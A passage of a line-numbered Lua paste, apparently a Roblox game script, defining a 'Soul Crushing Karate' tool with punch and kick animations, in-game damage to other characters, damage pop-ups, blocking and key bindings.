  1618. p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2)
  1619.  
  1620. Instance.new("BlockMesh",p)
  1621.  
  1622. lastPoint = part.Position
  1623.  
  1624. coroutine.resume(coroutine.create(function()
  1625.  
  1626. for x=0.2,1,0.2 do
  1627.  
  1628. wait()
  1629.  
  1630. p.Transparency = x
  1631.  
  1632. end
  1633.  
  1634. p:remove()
  1635.  
  1636. end))
  1637.  
  1638. end
  1639.  
  1640. end))
  1641.  
  1642. end
  1643.  
  1644. function endEff()
  1645.  
  1646. effectOn = false
  1647.  
  1648. end
  1649.  
  1650. function ShowDMG(p, d)
  1651.  
  1652. local mo = Instance.new("Model")
  1653.  
  1654. mo.Name = d
  1655.  
  1656. local pa = Part(mo, false, true, 0.5, 0, "Really red", 0.8, 0.2, 0.8, true)
  1657.  
  1658. pa.CFrame = CFrame.new(p.Position)
  1659.  
  1660. pa.Name = "Head"
  1661.  
  1662. local hah = hc:clone()
  1663.  
  1664. hah.Parent = mo
  1665.  
  1666. local bp = Add.BP(pa)
  1667.  
  1668. bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  1669.  
  1670. bp.position = p.Position + Vector3.new(0, 2.5, 0)
  1671.  
  1672. Add.BG(pa)
  1673.  
  1674. coroutine.resume(coroutine.create(function()
  1675.  
  1676. wait(0.2)
  1677.  
  1678. mo.Parent = workspace
  1679.  
  1680. wait(1.5)
  1681.  
  1682. mo:remove()
  1683.  
  1684. end))
  1685.  
  1686. end
  1687.  
  1688. for i, v in pairs(TBricks) do
  1689.  
  1690. v[1].Touched:connect(function(hit)
  1691.  
  1692. local fig = hit.Parent
  1693.  
  1694. H, T = getHumanoid(fig), fig:findFirstChild("Torso")
  1695.  
  1696. if H ~= nil and T ~= nil and v.hurt and v.able then
  1697.  
  1698. hitsound:play()
  1699.  
  1700. v.able = false
  1701.  
  1702. local d = math.random(dmg[1], dmg[2])
  1703.  
  1704. local hed, ne = getHead(fig, v[1].Position, 2.5)
  1705.  
  1706. if dmg[3] == "RoundHouse" and hed ~= nil then
  1707.  
  1708. d = math.random(dmg[1]*2.4, dmg[2]*2.4)
  1709.  
  1710. coroutine.resume(coroutine.create(function()
  1711.  
  1712. if ne ~= nil then
  1713.  
  1714. for i=0,60,20 do
  1715.  
  1716. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  1717.  
  1718. wait()
  1719.  
  1720. end
  1721.  
  1722. for i=60,0,-20 do
  1723.  
  1724. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  1725.  
  1726. wait()
  1727.  
  1728. end
  1729.  
  1730. ne.C0 = necko
  1731.  
  1732. end
  1733.  
  1734. end))
  1735.  
  1736. end
  1737.  
  1738. H.Health = H.Health - d
  1739.  
  1740. local xd = CFrame.new(v[1].Position, hit.Position)
  1741.  
  1742. hit.Velocity = xd.lookVector * (d*2.3)
  1743.  
  1744. ShowDMG(v[1], d)
  1745.  
  1746. wait(0.34)
  1747.  
  1748. v.able = true
  1749.  
  1750. end
  1751.  
  1752. end)
  1753.  
  1754. end
  1755.  
  1756. Mo.Parent = char
  1757.  
  1758. RAWBattle = nil
  1759.  
  1760. LAWBattle = nil
  1761.  
  1762. function nilparts()
  1763.  
  1764. LAW.Part1 = nil
  1765.  
  1766. RAW.Part1 = nil
  1767.  
  1768. RLW.Part1 = nil
  1769.  
  1770. LLW.Part1 = nil
  1771.  
  1772. LAW.C0 = CFrame.new(0, 0, 0)
  1773.  
  1774. RLW.C0 = CFrame.new(0, 0, 0)
  1775.  
  1776. LLW.C0 = CFrame.new(0, 0, 0)
  1777.  
  1778. RAW.C0 = CFrame.new(0, 0, 0)
  1779.  
  1780. end
  1781.  
  1782. function attach()
  1783.  
  1784. LAW.Part1 = Larm
  1785.  
  1786. RLW.Part1 = Rleg
  1787.  
  1788. LLW.Part1 = Lleg
  1789.  
  1790. RAW.Part1 = Rarm
  1791.  
  1792. LAW.C0 = CFrame.new(0, 0, 0)
  1793.  
  1794. RLW.C0 = CFrame.new(0, 0, 0)
  1795.  
  1796. LLW.C0 = CFrame.new(0, 0, 0)
  1797.  
  1798. RAW.C0 = CFrame.new(0, 0, 0)
  1799.  
  1800. end
  1801.  
  1802. attacks = {
  1803.  
  1804. function(mouse)
  1805.  
  1806. local Orig = torso.CFrame
  1807.  
  1808. local MousePos = mouse.Hit.p
  1809.  
  1810. local bg = Add.BG(torso)
  1811.  
  1812. local bp = Add.BP(torso)
  1813.  
  1814. bp.position = Orig.p
  1815.  
  1816. local CF = ComputePos(Orig.p, MousePos)
  1817.  
  1818. local CF2 = CF
  1819.  
  1820. bg.cframe = CF2
  1821.  
  1822. attach()
  1823.  
  1824. bp.position = CF * CFrame.new(0, 0, -1.5).p
  1825.  
  1826. startEff(TBricks[3][1])
  1827.  
  1828. TBricks[3].hurt = true
  1829.  
  1830. slash:play()
  1831.  
  1832. dmg = dmgs.Kdmg
  1833.  
  1834. for i = 0, 100, 100/4 do
  1835.  
  1836. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  1837.  
  1838. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0)
  1839.  
  1840. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  1841.  
  1842. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  1843.  
  1844. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  1845.  
  1846. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  1847.  
  1848. bg.cframe = CF2
  1849.  
  1850. wait()
  1851.  
  1852. end
  1853.  
  1854. wait(0.1)
  1855.  
  1856. TBricks[3].hurt = false
  1857.  
  1858. for i = 100, 0, -100/5 do
  1859.  
  1860. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  1861.  
  1862. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0)
  1863.  
  1864. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  1865.  
  1866. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  1867.  
  1868. LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  1869.  
  1870. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  1871.  
  1872. bg.cframe = CF2
  1873.  
  1874. wait()
  1875.  
  1876. end
  1877.  
  1878. endEff()
  1879.  
  1880. wait()
  1881.  
  1882. nilparts()
  1883.  
  1884. bg:remove()
  1885.  
  1886. bp:remove()
  1887.  
  1888. neck.C0 = necko
  1889.  
  1890. end,
  1891.  
  1892. function(mouse)
  1893.  
  1894. local Orig = torso.CFrame
  1895.  
  1896. local MousePos = mouse.Hit.p
  1897.  
  1898. local bg = Add.BG(torso)
  1899.  
  1900. local bp = Add.BP(torso)
  1901.  
  1902. bp.position = Orig.p
  1903.  
  1904. local CF = ComputePos(Orig.p, MousePos)
  1905.  
  1906. local CF2 = CF
  1907.  
  1908. bg.cframe = CF2
  1909.  
  1910. attach()
  1911.  
  1912. bp.position = CF * CFrame.new(0, 0, -1.5).p
  1913.  
  1914. TBricks[2].hurt = true
  1915.  
  1916. startEff(TBricks[2][1])
  1917.  
  1918. slash:play()
  1919.  
  1920. dmg = dmgs.Pdmg
  1921.  
  1922. for i = 0, -90, -90/4 do
  1923.  
  1924. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  1925.  
  1926. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  1927.  
  1928. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  1929.  
  1930. RAW.C0 = CFrame.Angles(0, 0, 0)
  1931.  
  1932. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  1933.  
  1934. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0)
  1935.  
  1936. bg.cframe = CF2
  1937.  
  1938. wait()
  1939.  
  1940. end
  1941.  
  1942. wait(0.07)
  1943.  
  1944. TBricks[2].hurt = false
  1945.  
  1946. endEff()
  1947.  
  1948. startEff(TBricks[1][1])
  1949.  
  1950. TBricks[1].hurt = true
  1951.  
  1952. bp.position = CF * CFrame.new(0, 0, -3).p
  1953.  
  1954. slash:play()
  1955.  
  1956. for i = -90, 0, 90/7 do
  1957.  
  1958. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90)))
  1959.  
  1960. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  1961.  
  1962. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  1963.  
  1964. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0)
  1965.  
  1966. bg.cframe = CF2
  1967.  
  1968. wait()
  1969.  
  1970. end
  1971.  
  1972. wait(0.07)
  1973.  
  1974. TBricks[1].hurt = false
  1975.  
  1976. for i = 0, -90, -90/5 do
  1977.  
  1978. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90)))
  1979.  
  1980. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  1981.  
  1982. RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23))
  1983.  
  1984. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23))
  1985.  
  1986. CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0)
  1987.  
  1988. bg.cframe = CF2
  1989.  
  1990. wait()
  1991.  
  1992. end
  1993.  
  1994. endEff()
  1995.  
  1996. wait()
  1997.  
  1998. nilparts()
  1999.  
  2000. bg:remove()
  2001.  
  2002. bp:remove()
  2003.  
  2004. neck.C0 = necko
  2005.  
  2006. end,
  2007.  
  2008. function(mouse)
  2009.  
  2010. local Orig = torso.CFrame
  2011.  
  2012. local MousePos = mouse.Hit.p
  2013.  
  2014. local bg = Add.BG(torso)
  2015.  
  2016. local bp = Add.BP(torso)
  2017.  
  2018. bp.position = Orig.p
  2019.  
  2020. local CF = ComputePos(Orig.p, MousePos)
  2021.  
  2022. local CF2 = CF
  2023.  
  2024. bg.cframe = CF2
  2025.  
  2026. attach()
  2027.  
  2028. bp.position = CF * CFrame.new(0, 0, -1.5).p
  2029.  
  2030. TBricks[4].hurt = true
  2031.  
  2032. startEff(TBricks[4][1])
  2033.  
  2034. slash:play()
  2035.  
  2036. dmg = dmgs.K2dmg
  2037.  
  2038. for i = 0, -100, -100/4 do
  2039.  
  2040. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2041.  
  2042. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  2043.  
  2044. LLW.C0 = CFrame.Angles(0, 0, math.rad(i))
  2045.  
  2046. RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7))
  2047.  
  2048. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  2049.  
  2050. CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0)
  2051.  
  2052. bg.cframe = CF2
  2053.  
  2054. wait()
  2055.  
  2056. end
  2057.  
  2058. wait(0.1)
  2059.  
  2060. bp.position = CF * CFrame.new(0, 0, -3).p
  2061.  
  2062. TBricks[4].hurt = false
  2063.  
  2064. endEff()
  2065.  
  2066. startEff(TBricks[3][1])
  2067.  
  2068. TBricks[3].hurt = true
  2069.  
  2070. local Cobalt11641, hipow12 = RLW.C0, LLW.C0
  2071.  
  2072. slash:play()
  2073.  
  2074. for i = -100, -290, -190/5 do
  2075.  
  2076. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4)))
  2077.  
  2078. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100))
  2079.  
  2080. CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0)
  2081.  
  2082. bg.cframe = CF2
  2083.  
  2084. wait()
  2085.  
  2086. end
  2087.  
  2088. wait(0.1)
  2089.  
  2090. bp.position = CF * CFrame.new(0, 0, -4.5).p
  2091.  
  2092. TBricks[3].hurt = false
  2093.  
  2094. Cobalt11641, hipow12 = RLW.C0, LLW.C0
  2095.  
  2096. for i = 0, -70, -70/3 do
  2097.  
  2098. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100))
  2099.  
  2100. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4))
  2101.  
  2102. LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0)
  2103.  
  2104. RAW.C0 = CFrame.Angles(0, 0, 0)
  2105.  
  2106. LAW.C0 = CFrame.Angles(0, 0, 0)
  2107.  
  2108. CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0)
  2109.  
  2110. bg.cframe = CF2
  2111.  
  2112. wait()
  2113.  
  2114. end
  2115.  
  2116. endEff()
  2117.  
  2118. wait()
  2119.  
  2120. nilparts()
  2121.  
  2122. bg:remove()
  2123.  
  2124. bp:remove()
  2125.  
  2126. neck.C0 = necko
  2127.  
  2128. end,
  2129.  
  2130. function(mouse)
  2131.  
  2132. if mouse ~= nil then
  2133.  
  2134. local Orig = torso.CFrame
  2135.  
  2136. local MousePos = mouse.Hit.p
  2137.  
  2138. local bg = Add.BG(torso)
  2139.  
  2140. local bp = Add.BP(torso)
  2141.  
  2142. bp.position = Orig.p
  2143.  
  2144. local CF = ComputePos(Orig.p, MousePos)
  2145.  
  2146. local CF2 = CF
  2147.  
  2148. bg.cframe = CF2
  2149.  
  2150. startEff(TBricks[3][1])
  2151.  
  2152. attach()
  2153.  
  2154. bp.position = CF * CFrame.new(0, 0, -1).p
  2155.  
  2156. dmg = dmgs.Rdmg
  2157.  
  2158. for i = 0, 180, 180/7 do
  2159.  
  2160. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2))
  2161.  
  2162. RLW.C0 = CFrame.Angles(0, 0, 0)
  2163.  
  2164. LLW.C0 = CFrame.Angles(0, 0, 0)
  2165.  
  2166. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  2167.  
  2168. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  2169.  
  2170. CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0)
  2171.  
  2172. bg.cframe = CF2
  2173.  
  2174. wait()
  2175.  
  2176. end
  2177.  
  2178. slash:play()
  2179.  
  2180. TBricks[3].hurt = true
  2181.  
  2182. for i = 180, 180+90, 90/4 do
  2183.  
  2184. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90))
  2185.  
  2186. RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0)
  2187.  
  2188. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3)))
  2189.  
  2190. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  2191.  
  2192. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  2193.  
  2194. CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0)
  2195.  
  2196. bg.cframe = CF2
  2197.  
  2198. wait()
  2199.  
  2200. end
  2201.  
  2202. TBricks[3].hurt = false
  2203.  
  2204. wait()
  2205.  
  2206. for i = 270, 360, 90/5 do
  2207.  
  2208. local a = i-270
  2209.  
  2210. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i))
  2211.  
  2212. RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0)
  2213.  
  2214. LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3)))
  2215.  
  2216. RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10)))
  2217.  
  2218. LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10)))
  2219.  
  2220. CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0)
  2221.  
  2222. bg.cframe = CF2
  2223.  
  2224. wait()
  2225.  
  2226. end
  2227.  
  2228. endEff()
  2229.  
  2230. wait()
  2231.  
  2232. nilparts()
  2233.  
  2234. bg:remove()
  2235.  
  2236. bp:remove()
  2237.  
  2238. neck.C0 = necko
  2239.  
  2240. end
  2241.  
  2242. end,
  2243.  
  2244. function(mouse)
  2245.  
  2246. local Orig = torso.CFrame
  2247.  
  2248. local MousePos = mouse.Hit.p
  2249.  
  2250. local bg = Add.BG(torso)
  2251.  
  2252. local bp = Add.BP(torso)
  2253.  
  2254. bp.position = Orig.p
  2255.  
  2256. local CF = ComputePos(Orig.p, MousePos)
  2257.  
  2258. local CF2 = CF
  2259.  
  2260. bg.cframe = CF2
  2261.  
  2262. startEff(TBricks[2][1])
  2263.  
  2264. attach()
  2265.  
  2266. bp.position = CF * CFrame.new(0, 0, -0.8).p
  2267.  
  2268. dmg = dmgs.Kardmg
  2269.  
  2270. for i = 0, -45, -45/3 do
  2271.  
  2272. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2273.  
  2274. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  2275.  
  2276. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  2277.  
  2278. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3))
  2279.  
  2280. LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0)
  2281.  
  2282. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  2283.  
  2284. bg.cframe = CF2
  2285.  
  2286. wait()
  2287.  
  2288. end
  2289.  
  2290. TBricks[2].hurt = true
  2291.  
  2292. bp.position = CF * CFrame.new(0, 0, -1.6).p
  2293.  
  2294. slash:play()
  2295.  
  2296. for i = -45, -110, -65/3 do
  2297.  
  2298. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2299.  
  2300. LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110)))
  2301.  
  2302. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  2303.  
  2304. bg.cframe = CF2
  2305.  
  2306. wait()
  2307.  
  2308. end
  2309.  
  2310. wait()
  2311.  
  2312. TBricks[2].hurt = false
  2313.  
  2314. for i = -110, 0, 110/4 do
  2315.  
  2316. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2317.  
  2318. LAW.C0 = CFrame.Angles(0, 0, math.rad(i) )
  2319.  
  2320. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3))
  2321.  
  2322. RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4)))
  2323.  
  2324. LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4)))
  2325.  
  2326. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  2327.  
  2328. bg.cframe = CF2
  2329.  
  2330. wait()
  2331.  
  2332. end
  2333.  
  2334. endEff()
  2335.  
  2336. wait()
  2337.  
  2338. nilparts()
  2339.  
  2340. bg:remove()
  2341.  
  2342. bp:remove()
  2343.  
  2344. neck.C0 = necko
  2345.  
  2346. end
  2347.  
  2348. }
  2349.  
  2350. bloc = function(mouse)
  2351.  
  2352. local hold = true
  2353.  
  2354. local bg = Add.BG(nil)
  2355.  
  2356. attach()
  2357.  
  2358. RLW.Part1 = nil
  2359.  
  2360. LLW.Part1 = nil
  2361.  
  2362. slash:play()
  2363.  
  2364. local duh = true
  2365.  
  2366. block = true
  2367.  
  2368. mouse.KeyUp:connect(function(k)
  2369.  
  2370. k = k:lower()
  2371.  
  2372. if duh == true and k == "t" then
  2373.  
  2374. block = false
  2375.  
  2376. duh = false
  2377.  
  2378. hold = false
  2379.  
  2380. end
  2381.  
  2382. end)
  2383.  
  2384. coroutine.resume(coroutine.create(function()
  2385.  
  2386. for i = 0, 90, 90/7 do
  2387.  
  2388. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  2389.  
  2390. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  2391.  
  2392. wait()
  2393.  
  2394. end
  2395.  
  2396. end))
  2397.  
  2398. bg.Parent = torso
  2399.  
  2400. while block and hold do
  2401.  
  2402. wait()
  2403.  
  2404. bg.cframe = ComputePos(torso.Position, mouse.Hit.p)
  2405.  
  2406. end
  2407.  
  2408. for i = 90, 0, -90/7 do
  2409.  
  2410. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  2411.  
  2412. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  2413.  
  2414. wait()
  2415.  
  2416. end
  2417.  
  2418. nilparts()
  2419.  
  2420. bg:remove()
  2421.  
  2422. neck.C0 = necko
  2423.  
  2424. end
  2425.  
  2426. function select(mouse)
  2427.  
  2428. mouse.Button1Down:connect(function()
  2429.  
  2430. if able then
  2431.  
  2432. able = false
  2433.  
  2434. attacks[1](mouse)
  2435.  
  2436. attacks[2](mouse)
  2437.  
  2438. attacks[3](mouse)
  2439.  
  2440. attacks[4](mouse)
  2441.  
  2442. attacks[5](mouse)
  2443.  
  2444. able = true
  2445.  
  2446. end
  2447.  
  2448. end)
  2449.  
  2450. mouse.KeyDown:connect(function(key)
  2451.  
  2452. key = key:lower()
  2453.  
  2454. if able then
  2455.  
  2456. if key == "q" then
  2457.  
  2458. able = false
  2459.  
  2460. attacks[2](mouse)
  2461.  
  2462. able = true
  2463.  
  2464. elseif key == "e" then
  2465.  
  2466. able = false
  2467.  
  2468. attacks[1](mouse)
  2469.  
  2470. able = true
  2471.  
  2472. elseif key == "r" then
  2473.  
  2474. able = false
  2475.  
  2476. attacks[3](mouse)
  2477.  
  2478. able = true
  2479.  
  2480. elseif key == "f" then
  2481.  
  2482. able = false
  2483.  
  2484. attacks[4](mouse)
  2485.  
  2486. able = true
  2487.  
  2488. elseif key == "g" then
  2489.  
  2490. able = false
  2491.  
  2492. attacks[5](mouse)
  2493.  
  2494. able = true
  2495.  
  2496. elseif key == "t" then
  2497.  
  2498. able = false
  2499.  
  2500. bloc(mouse)
  2501.  
  2502. able = true
  2503.  
  2504. elseif key == "z" then
  2505.  
  2506. able = false
  2507.  
  2508. holdkey = true
  2509.  
  2510. while holdkey do
  2511.  
  2512. attacks[math.random(1,#attacks)](mouse)
  2513.  
  2514. end
  2515.  
  2516. able = true
  2517.  
  2518. end
  2519.  
  2520. end
  2521.  
  2522. end)
  2523.  
  2524. mouse.KeyUp:connect(function(key)
  2525.  
  2526. key = key:lower()
  2527.  
  2528. if key == "z" then
  2529.  
  2530. holdkey = false
  2531.  
  2532. end
  2533.  
  2534. end)
  2535.  
  2536. end
  2537.  
  2538. if script.Parent.className ~= "HopperBin" then
  2539.  
  2540. h = Instance.new("HopperBin",me.Backpack)
  2541.  
  2542. h.Name = "Soul Crushing Karate"
  2543.  
  2544. script.Parent = h
  2545.  
  2546. end
  2547.  
  2548. bin = script.Parent
  2549.  
  2550. bin.Selected:connect(select)
  2551.  
  2552. end)
  2553. ]]
  2554. Karate = [[
  2555.  
  2556. Plrs = game:GetService("Players")
  2557.  
  2558. me = Plrs.LocalPlayer
  2559.  
  2560. char = me.Character
  2561.  
  2562. Modelname = "SoulKarate"
  2563.  
  2564. dmgs = {Pdmg = {7, 13, "Punch"}, Kdmg = {10, 19, "Kick"}, K2dmg = {12, 16, "Doublekick"}, Rdmg = {16, 23, "RoundHouse"},
  2565.  
  2566. Kardmg = {8, 15, "Karate"}}
  2567.  
  2568. dmg = dmgs.Pdmg
  2569.  
  2570. Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
  2571.  
  2572. necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2573.  
  2574. able = true
  2575.  
  2576. block = false
  2577.  
  2578. breakblock = 19
  2579.  
  2580. holdkey = false
  2581.  
  2582. effectOn = false
  2583.  
  2584. Add = {
  2585.  
  2586. Sphere = function(P)
  2587.  
  2588. local m = Instance.new("SpecialMesh",P)
  2589.  
  2590. m.MeshType = "Sphere"
  2591.  
  2592. return m
  2593.  
  2594. end,
  2595.  
  2596. BF = function(P)
  2597.  
  2598. local bf = Instance.new("BodyForce",P)
  2599.  
  2600. bf.force = Vector3.new(0, P:GetMass()*187, 0)
  2601.  
  2602. return bf
  2603.  
  2604. end,
  2605.  
  2606. BP = function(P)
  2607.  
  2608. local bp = Instance.new("BodyPosition",P)
  2609.  
  2610. bp.maxForce = Vector3.new(math.huge, 0, math.huge)
  2611.  
  2612. bp.P = 14000
  2613.  
  2614. return bp
  2615.  
  2616. end,
  2617.  
  2618. BG = function(P)
  2619.  
  2620. local bg = Instance.new("BodyGyro",P)
  2621.  
  2622. bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  2623.  
  2624. bg.P = 14000
  2625.  
  2626. return bg
  2627.  
  2628. end
  2629.  
  2630. }
  2631.  
  2632. function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
  2633.  
  2634. local p = Instance.new("Part")
  2635.  
  2636. p.formFactor = "Custom"
  2637.  
  2638. p.Anchored = Anchor
  2639.  
  2640. p.CanCollide = Collide
  2641.  
  2642. p.Transparency = Tran
  2643.  
  2644. p.Reflectance = Ref
  2645.  
  2646. p.BrickColor = BrickColor.new(Color)
  2647.  
  2648. for _, Surf in pairs(Surfaces) do
  2649.  
  2650. p[Surf] = "Smooth"
  2651.  
  2652. end
  2653.  
  2654. p.Size = Vector3.new(X, Y, Z)
  2655.  
  2656. if Break then
  2657.  
  2658. p:BreakJoints()
  2659.  
  2660. else p:MakeJoints() end
  2661.  
  2662. p.Parent = Parent
  2663.  
  2664. return p
  2665.  
  2666. end
  2667.  
  2668. function Weld(p0, p1, x, y, z, a, b, c)
  2669.  
  2670. local w = Instance.new("Weld")
  2671.  
  2672. w.Parent = p0
  2673.  
  2674. w.Part0 = p0
  2675.  
  2676. w.Part1 = p1
  2677.  
  2678. w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c)
  2679.  
  2680. return w
  2681.  
  2682. end
  2683.  
  2684. function ComputePos(pos1, pos2)
  2685.  
  2686. local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
  2687.  
  2688. return CFrame.new(pos1, pos3)
  2689.  
  2690. end
  2691.  
  2692. function getHumanoid(c)
  2693.  
  2694. local h = nil
  2695.  
  2696. for i,v in pairs(c:children()) do
  2697.  
  2698. if v:IsA("Humanoid") and c ~= char then
  2699.  
  2700. if v.Health > 0 then
  2701.  
  2702. h = v
  2703.  
  2704. end
  2705.  
  2706. end
  2707.  
  2708. end
  2709.  
  2710. return h
  2711.  
  2712. end
  2713.  
  2714. function getHead(c, pos, m)
  2715.  
  2716. local h = nil
  2717.  
  2718. local n = nil
  2719.  
  2720. t = c:findFirstChild("Torso")
  2721.  
  2722. if t ~= nil then
  2723.  
  2724. n = t:findFirstChild("Neck")
  2725.  
  2726. end
  2727.  
  2728. for i,v in pairs(c:children()) do
  2729.  
  2730. if v.Name == "Head" then
  2731.  
  2732. if (v.Position - pos).magnitude < m then
  2733.  
  2734. h = v
  2735.  
  2736. end
  2737.  
  2738. end
  2739.  
  2740. end
  2741.  
  2742. return h, n
  2743.  
  2744. end
  2745.  
  2746. for i,v in pairs(char:children()) do
  2747.  
  2748. if v.Name == Modelname then
  2749.  
  2750. v:remove()
  2751.  
  2752. end
  2753.  
  2754. end
  2755.  
  2756. torso = char.Torso
  2757.  
  2758. neck = torso.Neck
  2759.  
  2760. hum = char.Humanoid
  2761.  
  2762. Rarm = char["Right Arm"]
  2763.  
  2764. Larm = char["Left Arm"]
  2765.  
  2766. Rleg = char["Right Leg"]
  2767.  
  2768. Lleg = char["Left Leg"]
  2769.  
  2770. LastHP = hum.Health
  2771.  
  2772. function HpChange(newhp)
  2773.  
  2774. if block and hum.Health > 0.1 then
  2775.  
  2776. local dif = LastHP - newhp
  2777.  
  2778. if dif > 0 then
  2779.  
  2780. local h = LastHP - ((LastHP-newhp)/3)
  2781.  
  2782. hum.Health = h
  2783.  
  2784. wait()
  2785.  
  2786. hum.Health = h
  2787.  
  2788. end
  2789.  
  2790. if dif > breakblock then
  2791.  
  2792. block = false
  2793.  
  2794. local a = Add.BP(torso)
  2795.  
  2796. a.position = torso.Position
  2797.  
  2798. local b = Add.BG(torso)
  2799.  
  2800. b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p)
  2801.  
  2802. wait(0.6)
  2803.  
  2804. a:remove()
  2805.  
  2806. b:remove()
  2807.  
  2808. able = true
  2809.  
  2810. end
  2811.  
  2812. end
  2813.  
  2814. LastHP = hum.Health
  2815.  
  2816. end
  2817.  
  2818. hum.HealthChanged:connect(HpChange)
  2819.  
  2820. hc = Instance.new("Humanoid")
  2821.  
  2822. hc.Health = 0
  2823.  
  2824. hc.MaxHealth = 0
  2825.  
  2826. slash = Instance.new("Sound")
  2827.  
  2828. slash.SoundId = "rbxasset://sounds//swordslash.wav"
  2829.  
  2830. slash.Volume = 0.8
  2831.  
  2832. slash.Pitch = 1.4
  2833.  
  2834. slash.Parent = Rarm
  2835.  
  2836. hitsound = Instance.new("Sound")
  2837.  
  2838. hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263"
